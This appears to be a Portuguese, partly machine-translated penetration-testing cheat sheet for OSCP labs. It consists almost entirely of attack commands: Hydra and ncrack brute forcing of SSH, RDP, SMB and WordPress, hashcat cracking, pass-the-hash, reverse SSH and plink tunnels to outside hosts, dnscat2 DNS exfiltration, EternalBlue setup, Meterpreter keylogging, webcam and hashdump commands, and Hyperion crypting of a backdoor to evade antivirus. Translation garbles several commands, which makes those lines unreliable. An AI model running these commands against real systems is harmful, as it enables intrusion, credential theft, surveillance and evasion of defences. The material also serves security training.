cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt

Senha mutante

John, o ripper, pode transformar listas de senhas

nano /etc/john/john.conf

john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt

Medusa

Medusa, iniciado em um diretório da web protegido por htaccess

medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10

Ncrack

ncrack (dos criadores do nmap) pode RDP de força bruta

ncrack -vv --user offsec -P password-file.txt rdp://$ip

Hidra

Força bruta Hydra contra SNMP

hydra -P password-file.txt -v $ip snmp

Usuário conhecido do Hydra FTP e lista de senhas do rockyou


hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

Hydra SSH usando lista de usuários e senhas

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

Hydra SSH usando uma senha conhecida e uma lista de nome de usuário

hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

Hydra SSH contra nome de usuário conhecido na porta 22

hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

Força bruta Hydra POP3

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

Hydra SMTP Brute Force

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

Hydra attack http obtém 401 login com um dicionário

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

Hydra ataque Windows Remote Desktop com rockyou

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

Usuário SMB de força bruta Hydra com rockyou:

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

Hydra brute force um login de administrador do Wordpress

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-


login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Ataques de hash de senha

Quebra de senha online

https://crackstation.net/ http://finder.insidepro.com/

Hashcat necessário para instalar novos drivers para fazer meu GPU cracking funcionar na VM
linux Kali e também tive que usar o parâmetro –force.

apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev

apt-get install pocl-opencl-icd

Cracking Linux Hashes - arquivo / etc / shadow

500 | md5crypt $1$, MD5(Unix) | Operating-Systems

3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems

7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems


1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems

Cracking Windows Hashes

3000 | LM | Operating-Systems

1000 | NTLM | Operating-Systems

Cracking Hashes de aplicativos comuns

900 | MD4 | Raw Hash

0 | MD5 | Raw Hash

5100 | Half MD5 | Raw Hash

100 | SHA1 | Raw Hash

10800 | SHA-384 | Raw Hash

1400 | SHA-256 | Raw Hash

1700 | SHA-512 | Raw Hash

Crie um arquivo .hash com todos os hashes que você deseja quebrar puthasheshere.hash:
$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

Exemplo de Hashcat quebrando senhas md5crypt do Linux $ 1 $ usando rockyou:

hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash


/usr/share/wordlists/rockyou.txt

Hash de amostra do Wordpress: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/

Texto simples do Wordpress: test

Exemplo de Hashcat quebrando senhas do Wordpress usando rockyou:

hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash


/usr/share/wordlists/rockyou.txt

Hashes de amostra

http://openwall.info/wiki/john/sample-hashes

Identificar Hashes

hash-identifier

Para quebrar os hashes do Linux, você deve primeiro retirá-los da sombra:

unshadow passwd-file.txt shadow-file.txt

unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

John the Ripper - Quebra de hash de senha

john $ip.pwdump

john --wordlist=/usr/share/wordlists/rockyou.txt hashes


john --rules --wordlist=/usr/share/wordlists/rockyou.txt

john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

JTR forçado a criptografar cracking com lista de palavras

john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt

JTR forçado a descrever rachadura de força bruta

john --format=descrypt hash --show

Passando o Hash no Windows

Use o Metasploit para explorar um dos servidores SMB nos laboratórios. Despeje os hashes de
senha e tente um ataque pass-the-hash contra outro sistema:

export
SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896

pth-winexe -U administrator //$ip cmd

Networking, Pivoting e Tunneling

Encaminhamento de porta - aceita o tráfego em um determinado endereço IP e porta e


redireciona-o para um endereço IP e porta diferentes

apt-get install rinetd

cat /etc/rinetd.conf

# bindadress bindport connectaddress connectport

w.x.y.z 53 a.b.c.d 80

Encaminhamento de porta local SSH: suporta canais de comunicação bidirecionais

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

Encaminhamento de porta remota SSH: Adequado para abrir um shell remoto em uma rede
interna não roteável

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

SSH Dynamic Port Forwarding: crie um proxy SOCKS4 em nossa caixa de ataque local para
encapsular TODO o tráfego de entrada para QUALQUER host na rede DMZ em QUALQUER
PORTA

ssh -D <local proxy port> -p <remote port> <target>

Proxychains - Executa varredura de nmap dentro de uma DMZ de um computador externo

Criar túnel SSH reverso da máquina popped em: 2222

ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22


root@<remote host>

Crie um encaminhamento de porta de nível de aplicativo dinâmico em 8080 a 2222

ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>


Aproveite o servidor SSH SOCKS para realizar varredura Nmap na rede usando cadeias de proxy

proxychains nmap --top-ports=20 -sT -Pn $ip/24

Túnel HTTP

nc -vvn $ip 8888

Encapsulamento de tráfego - contornando a inspeção profunda de pacotes

túnel http

No lado do servidor: No lado do cliente:

sudo hts -F <server ip addr>:<port of your app> 80

sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel

Tunnel Remote Desktop (RDP) de uma máquina Windows popped para a sua rede

Túnel na porta 22

plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

Porta 22 bloqueada? Tente a porta 80? ou 443?

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80

Tunnel Remote Desktop (RDP) de uma janela popped usando HTTP Tunnel (ignorar a inspeção
profunda de pacotes)

Máquina Windows adiciona regras de firewall necessárias sem avisar o usuário

netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow


program="httptunnel_client.exe" enable=yes

netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP


localport=3000

netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP


localport=1080

netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP


localport=1079

Inicie o cliente de túnel http

httptunnel_client.exe

Crie um shell reverso HTTP conectando-se à porta 3000 localhost

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000

VLAN Hopping

git clone https://github.com/nccgroup/vlan-hopping.git

chmod 700 frogger.sh

./frogger.sh
Hacking VPN

Identifique os servidores VPN:

./udp-protocol-scanner.pl -p ike $ip

Analise um intervalo de servidores VPN:

./udp-protocol-scanner.pl -p ike -f ip.txt

Use IKEForce para enumerar ou atacar os servidores VPN:

pip install pyip

git clone https://github.com/SpiderLabs/ikeforce.git

Execute a enumeração de VPN IKE com IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN usando IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use o ike-scan


para capturar o hash PSK:

ike-scan

ike-scan TARGET-IP

ike-scan -A TARGET-IP

ike-scan -A TARGET-IP --id = myid -P TARGET-IP-chave

exemplo de ike-scan –M –A –n\ _group -P hash-file.txt TARGET-IP

Use psk-crack para quebrar o hash PSK

psk-crack hash-file.txt

pskcrack

psk-crack -b 5 TARGET-IPkey

psk-crack -b 5 --charset
="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-
207-134key

PSK-crack -d / path / to / dictionary-file TARGET-IP-key

Hacking PPTP

Identificando PPTP, ele escuta em TCP: 1723

NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S) Ataque de dicionário PPTP

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

Encaminhamento / redirecionamento de porta


Túnel de link PuTTY - Túnel SSH

Encaminhe a porta remota para o endereço local:

plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>

SSH Pivoting

SSH pivotando de uma rede para outra:

ssh -D <local host>:1010 -p 22 user@<remote host>

Tunelamento DNS

dnscat2 suporta os comandos “download” e “upload” para obter arquivos (dados e programas)
de e para a máquina de destino.

Instalação da máquina de ataque:

apt-get update

apt-get -y install ruby-dev git make g ++

empacotador de instalação de gem

git clone https://github.com/iagox86/dnscat2.git

CD dnscat2 / servidor

pacote de instalação

Execute dnscat2:

ruby ./dnscat2.rb

dnscat2> New session established: 1422

dnscat2> session -i 1422

Máquina Alvo:

https://downloads.skullsecurity.org/dnscat2/

https://github.com/lukebaggett/dnscat2-powershell/

dnscat --host <dnscat server ip>

O Framework Metasploit

Vejo Metasploit Unleashed Course no Essentials

Pesquise explorações usando o código-fonte do framework Metasploit GitHub:

https://github.com/rapid7/metasploit-framework

Traduza-os para uso no OSCP LAB ou EXAM.

Metasploit

MetaSploit requer Postfresql


systemctl start postgresql

Para ativar o Postgresql na inicialização

systemctl enable postgresql

Sintaxe MSF

Iniciar metasploit

msfconsole

msfconsole -q

Mostrar ajuda para o comando

show -h

Mostrar módulos auxiliares

show auxiliary

Use um módulo

use auxiliary/scanner/snmp/snmp_enum

use auxiliary/scanner/http/webdav_scanner

use auxiliary/scanner/smb/smb_version

use auxiliary/scanner/ftp/ftp_login

use exploit/windows/pop3/seattlelab_pass

Mostra as informações básicas para um módulo

info

Mostra os parâmetros de configuração de um módulo

show options

Definir opções para um módulo

set RHOSTS 192.168.1.1-254

set THREADS 10

Execute o módulo

run

Execute um Exploit

exploit

Procure um módulo

search type:auxiliary login

Metasploit Database Access


Mostrar todos os hosts descobertos no banco de dados MSF

hosts

Procure hosts e armazene-os no banco de dados MSF

db_nmap

Pesquisar máquinas para portas específicas no banco de dados MSF

services -p 443

Aproveite o banco de dados MSF para verificar as portas SMB (rhosts preenchidos
automaticamente)

services -p 443 --rhosts

Encenado e não encenado

Carga útil não preparada - é uma carga que é enviada em sua totalidade de uma vez

Preparado - enviado em duas partes Não tem espaço de buffer suficiente Ou precisa ignorar o
antivírus

MS 17-010 - EternalBlue

Você pode encontrar algumas caixas que são vulneráveis ao MS17-010 (também conhecido
como EternalBlue). Embora não seja oficialmente parte do curso indended, esta exploração
pode ser aproveitada para obter acesso de nível de SISTEMA a uma caixa do Windows. Nunca
tive muita sorte usando o módulo integrado Metasploit EternalBlue. Descobri que a versão
onze caminhos funciona de maneira muito mais relábil. Aqui estão as instruções para instalá-lo
retiradas do seguinte vídeo do YouTube: https://www.youtube.com/watch?v=4OHLor9VaRI

O primeiro passo é configurar o Kali para funcionar com o wine de 32 bits

dpkg –add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~ / .wine wine
cmd.exe sair

Baixe o repositório de exploit https://github.com/ElevenPaths/Eternalblue-Doublepulsar-


Metasploit

Mova o exploit para ou/usr/share/metasploit-


framework/modules/exploits/windows/smb~/.msf4/modules/exploits/windows/smb

Inicie o console metasploit

Descobri que usar spoolsv.exe como PROCESSINJECT produzia resultados em caixas OSCP.

usar exploit / windows / smb / eternalblue_doublepulsar msf exploit


(eternalblue_doublepulsar)> definir RHOST 10.10.10.10 RHOST => 10.10.10.10 msf exploit
(eternalblue_doublepulsar)> set PROCESSINJECT spoolsv.exe PROCESSINJECT => spoolsv.exe
msf exploit (eternalblue_doublepulsar)

Experimentando com Meterpreter

Obtenha informações do sistema no Meterpreter Shell

sysinfo
Obtenha o ID do usuário do Meterpreter Shell

getuid

Procure um arquivo

search -f *pass*.txt

Enviar um arquivo

upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec

Baixe um arquivo

download c:\\Windows\\system32\\calc.exe /tmp/calc.exe

Invoque um shell de comando do Meterpreter Shell

shell

Saia do shell meterpreter

exit

Metasploit Exploit Multi Handler

multi / handler para aceitar um reverse_https_meterpreter de entrada

payload

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_https

set LHOST $ip

set LPORT 443

exploit

[*] Started HTTPS reverse handler on https://$ip:443/

Construindo Seu Próprio Módulo MSF

mkdir -p ~/.msf4/modules/exploits/linux/misc

CD ~/.msf4/modules/exploits/linux/misc

cp / usr / share / metasploitframework / modules / exploits / linux / misc / gld\ _postfix.rb


./crossfire.rb

nano crossfire.rb

Pós-exploração com Metasploit - (as opções disponíveis dependem do sistema operacional e


das capacidades do Meterpreter)

download Baixar um arquivo ou diretório Carregar um arquivo ou diretório Encaminhar uma


porta local para um serviço remoto Visualize e modifique a tabela de roteamento Comece a
capturar pressionamentos de tecla Pare de capturar pressionamentos de tecla Faça uma
captura de tela da área de trabalho interativa Grave áudio do microfone padrão por X
segundos Tire uma foto de a webcam especificada. Tente elevar seu privilégio ao do sistema
local. Despeja o conteúdo do banco de dados SAM

upload

portfwd

route

keyscan_start

keyscan_stop

screenshot

record_mic

webcam_snap

getsystem

hashdump

Recursos de pós-exploração do medidor

Crie uma sessão de fundo do Meterpreter

background

Ignorando software antivírus

Criptografando malware conhecido com protetores de software

Um desses criptografadores de código aberto, chamado Hyperion

cp /usr/share/windows-binaries/Hyperion-1.0.zip

descompacte Hyperion-1.0.zip

CD Hyperion-1.0 /

i686-w64-mingw32-g ++ Src / Crypter /*.cpp -o hyperion.exe

cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .

cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .

wine hyperion.exe ../backdoor.exe ../crypted.exe

Você também pode gostar